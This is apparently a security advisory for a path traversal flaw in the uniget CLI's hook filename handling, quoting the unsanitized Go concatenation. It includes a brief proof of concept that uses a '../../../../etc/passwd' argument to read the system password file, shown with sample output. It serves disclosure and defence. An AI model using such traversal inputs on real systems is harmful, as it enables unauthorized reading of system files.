Summary
uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability
Advisory details
Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go Lines 135-160
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
export EDITOR="cat"
Step 2: Read /etc/passwd via path traversal
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
Step 3: Output shows file contents
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
References
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-75602
OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool
- HIGHCVE-2026-63490
Handlebars.java: Arbitrary file read in `SpringTemplateLoader` via URL-fragment suffix bypass
- HIGHCVE-2026-82393
pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install
- HIGHCVE-2026-81726
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
- HIGHCVE-2026-59832
Siyuan: Authenticated path traversal in /snippets/ static handler (serveSnippets) leaks conf/conf.json secrets and siyuan.db
- HIGHGHSA-2rx9-3g3h-c2jv
pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project